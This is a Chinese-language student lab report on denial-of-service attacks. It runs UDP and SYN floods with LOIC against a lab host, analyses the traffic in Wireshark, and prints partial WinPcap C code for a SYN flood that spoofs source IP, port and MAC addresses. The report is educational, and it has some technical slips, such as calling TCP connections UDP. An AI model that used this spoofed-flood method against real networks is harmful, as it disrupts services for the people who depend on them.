DoS攻击实验

实验内容

  1. 使用一种DoS工具进行试验,通过抓包工具,分析验证2种DoS攻击原理
  2. 尝试在Windows下编程实现SYN Flood攻击程序,并实现源地址伪装。

实验过程

实验环境

  1. 攻击机:windows10

    IP地址:10.122.232.200

    1565669896292

  2. 靶机:windows xp

    IP地址:10.122.219.188

    1565669940728

    靶机开放端口:

    1565669968417

UDP FLOOD

  1. UDP FLOOD攻击原理:

    ​ 攻击者利用大量UDP小包冲击DNS服务器或Radius认证服务器、流媒体视频服务器。 100k pps的UDP Flood经常将线路上的骨干设备例如防火墙打瘫,造成整个网段的瘫痪。由于UDP协议是一种无连接的服务,在UDP FLOOD攻击中,攻击者可发送大量伪造源IP地址的小UDP包。但是,由于UDP协议是无连接性的,所以只要开了一个UDP的端口提供相关服务的话,那么就可针对相关的服务进行攻击。

  2. 使用攻击工具LOIC,填写靶机IP、攻击端口、UDP数据包内容Hello
    windows xp、选择攻击模式、攻击速度进行攻击。

    1565670190715

  3. 攻击机使用wireshark进行抓包,发现只有攻击机发送的数据包,没有靶机发送的数据包。

    1565670222745

  4. 分析攻击机捕获的数据包:

    1565670275933

    • 数据包总长度为58字节
    • IP包总长度为44字节
    • 协议类型为UDP协议(编号17)
    • 源IP地址:10.122.232.200(攻击机IP地址)
    • 目标IP地址:10.122.219.188(靶机IP地址)
    • UDP协议源端口号:57804(不同IP包的源端口号不相同,即攻击机与靶机建立了大量的UDP连接
    • UDP协议目标端口号:445(和输入的目标端口号相同)
    • UDP长度:24字节
    • 校验和和校验和状态:未验证
    • 数据段:16字节,为ASCII码格式,转换成字符串后为输入的内容Hello windows xp
  5. 靶机使用wireshark进行抓包,同样发现只有攻击机发送的数据包,没有靶机发送的数据包。

    1565670472184

  6. 分析靶机捕获的数据包:

    1565670518121

    • 数据包总长度为60字节(比攻击机捕获的数据包多2字节)
    • 数据段等其它内容和攻击机捕获的数据包内容相同
  7. 判断DoS攻击是否成功。

    1. 命令行ping百度网址无法收到回复,浏览器无法访问百度。

      1565670618533

      1565670632741

    2. 关闭攻击软件后,ping百度网址可以收到回复,浏览器可以正常访问百度网址。

      1565670656998

      1565670668505

  8. 检查攻击机网络连接状态,发现建立大量UDP连接,说明了UDP FLOOD攻击的原理是攻击机向靶机同一端口发送多个UDP数据包,占用靶机资源,使靶机无法提供相关服务,从而使其与UDP相关的服务瘫痪。

    1565670730395

SYN FLOOD

  1. SYN FLOOD攻击原理:

    ​ SYN Flood不会完成TCP三次握手的第三步,也就是不发送确认连接的信息给服务器。这样,服务器无法完成第三次握手,但服务器不会立即放弃,服务器会不停的重试并等待一定的时间后放弃这个未完成的连接,这段时间叫做SYN timeout,这段时间大约30秒-2分钟左右。若是一个用户在连接时出现问题导致服务器的一个线程等待1分钟并不是什么大不了的问题,但是若有人用特殊的软件大量模拟这种情况,那后果就可想而知了。一个服务器若是处理这些大量的半连接信息而消耗大量的系统资源和网络带宽,这样服务器就不会再有空余去处理普通用户的正常请求(因为客户的正常请求比率很小),即服务器无法正常工作。

  2. 使用攻击工具LOIC,填写靶机IP、攻击端口、TCP数据包内容Hello、选择攻击模式、攻击速度进行攻击。

    1565670814412

  3. 攻击机使用wireshark进行抓包,不仅有攻击机发送的SYN数据包,还有靶机发送的ACK数据包,但是大量的SYN数据包并没有得到回复。

    1565670847338

  4. 分析攻击机捕获的数据包:

    1565670892972

    • 数据包总长度为66字节
    • IP包总长度为52字节
    • 协议类型为TCP协议(编号6)
    • 源IP地址:10.122.232.200(攻击机IP地址)
    • 目标IP地址:10.122.219.188(靶机IP地址)
    • TCP协议源端口号:3443不同IP包的源端口号不相同,即攻击机与靶机建立了大量的UDP连接
    • TCP协议目标端口号:135(和输入的目标端口号相同)
    • TCP头长度:24字节
    • 数据段:5字节,只存在push ack包中,为ASCII码格式,转换成字符串后为输入的内容Hello
  5. 判断DoS攻击是否成功。

    1. 命令行ping百度网址收到回复,但出现很大程度的丢包现象,浏览器可以访问百度,但需要等待的时间较长。

      1565671054841

      1565671070981

    2. 关闭攻击软件后,ping百度网址没有丢包,浏览器可以以正常的速度访问百度网址。

      1565671094141

      1565671103983

  6. 检查攻击机网络连接状态,发现建立大量TCP连接,说明了TCP FLOOD攻击的原理是攻击机与靶机三次握手不完整,建立多个TCP连接,使靶机的资源耗尽,从而使其与TCP相关的服务瘫痪。

    1565671149362

分析比较两种攻击方法

  1. 原理:
    • UDP FLOOD攻击:攻击机向靶机同一端口发送多个UDP数据包,占用靶机资源,使靶机无法提供相关服务,从而使其与UDP相关的服务瘫痪。
    • SYN FLOOD攻击:攻击机向靶机发送SYN数据包,建立TCP连接后,一直不完成三次握手,即与靶机建立多个TCP连接使靶机的资源耗尽,从而使其与TCP相关的服务瘫痪。
  2. 攻击差别:
    • UDP FLOOD攻击个人理解是流氓攻击,一直占用资源,使靶机毫无还手之力。
    • SYN FLOOD攻击当靶机有足够的资源进行回复时,还是可以访问其他网站的,即SYN FLOOD攻击不彻底。

编程实现SYN Flood攻击程序

在Windows下编程实现SYN Flood攻击程序,实现源地址伪装

实验环境

  • 攻击机:windows 10

    IP地址:10.122.213.156

  • 靶机:windows 10

    IP地址:10.122.232.200

  • 编程工具:VS2017

设计思路

1565671374533

搭建编程环境

  1. 下载安装WinPcap运行库,下载解压WinPcap开发包

  2. 打开vs2017,新建windows控制台应用程序

    1565671574581

  3. 打开项目属性->配置属性->c/c++->预处理器->预处理器定义,在其中添加WPCAPHAVE_REMOTE两个宏定义。

    1565671724202

  4. 打开项目属性->配置属性->链接器->输入->附加依赖项添加wpcap.libws2_32.lib两个库。

    1565671740965

  5. 打开项目属性->配置属性->VC++目录->包含目录和同级的库目录分别添加之前下载解压的WinPcap开发包Include目录Lib目录路径。

    1565671758936

    1565671662749

数据结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* SYN包结构 */
typedef struct _TCP_SYN
{
unsigned char DstMAC[6]; // 目的mac地址
unsigned char SrcMAC[6]; // 源mac地址
unsigned char OtherData[12];
unsigned short Header_ChechSum; // 校验和
unsigned int SrcIP; // 源IP地址
unsigned int DstIP; // 目标IP地址
unsigned short SrcPort; // 源端口
unsigned short DstPort; // 目标端口
unsigned char Ohters[16];
unsigned short pak_checksum;
unsigned char OtherLast[1];
}TCP_SYN, *PTCP_SYN;

实验结果

  1. 进行攻击,打开程序,输入目标IP和目标端口,可以看到攻击源IP地址和源端口在不断改变。

    1565671832506

  2. 使用wireshark进行抓包可以看到伪造的地址向目标IP地址的目标端口135号端口发送大量TCP SYN包。

    1565671864663

  3. 打开捕获的SYN包,源MAC地址也是随机的,SYN包内容与理论预期符合。

    1565671895895

实验总结

​ 在实验过程中,通过对局域网内的主机进行UDP FLOOF攻击,意外地把整个局域网攻击了,查资料发现大量UDP包会把局域网堵塞,导致局域网内主机无法上网,这是一种可行的攻击手段。又发现如果攻击机和靶机同时连接手机热点,则攻击无法成功,经过实验,得出的初步结论是两台主机不在同一局域网下,即手机热点不能看做是一个局域网。当然还有一种猜测是手机热点在转发UDP包时做了防护措施,这一猜测目前还未进行验证。

实验核心代码

点击下载程序源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
/* SYN包结构 */
typedef struct _TCP_SYN
{
unsigned char DstMAC[6]; // 目的mac地址
unsigned char SrcMAC[6]; // 源mac地址
unsigned char OtherData[12];
unsigned short Header_ChechSum; // 校验和
unsigned int SrcIP; // 源IP地址
unsigned int DstIP; // 目标IP地址
unsigned short SrcPort; // 源端口
unsigned short DstPort; // 目标端口
unsigned char Ohters[16];
unsigned short pak_checksum;
unsigned char OtherLast[1];
}TCP_SYN, *PTCP_SYN;

/* 校验和函数 */
unsigned short checksum(unsigned short *buffer, int size)
{
unsigned long cksum = 0;
while (size > 1)
{
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if (size)
{
cksum += *(unsigned char*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (unsigned short)(~cksum);
}

/* 源IP地址随机产生 */
itoa(rand() % 252 + 3, src_adr_part, 10);
strcpy(src_adr, src_adr_part);
for (int j = 0; j < 3; j++)
{
strcat(src_adr, ".");
itoa(rand() % 252 + 3, src_adr_part, 10);
strcat(src_adr, src_adr_part);
}
SynData->SrcIP = inet_addr(src_adr);

/* 源端口随机产生 */
src_port = (unsigned short)rand() % 65534 + 1;
SynData->SrcPort = htons(src_port);

/* 检验校验和错误的包 */
if (pcap_sendpacket(fp, bufData, sizeof(bufData) - 1) != 0)
{
fprintf(stderr, "\nError sending the packet: \n", pcap_geterr(fp));
return -1;
}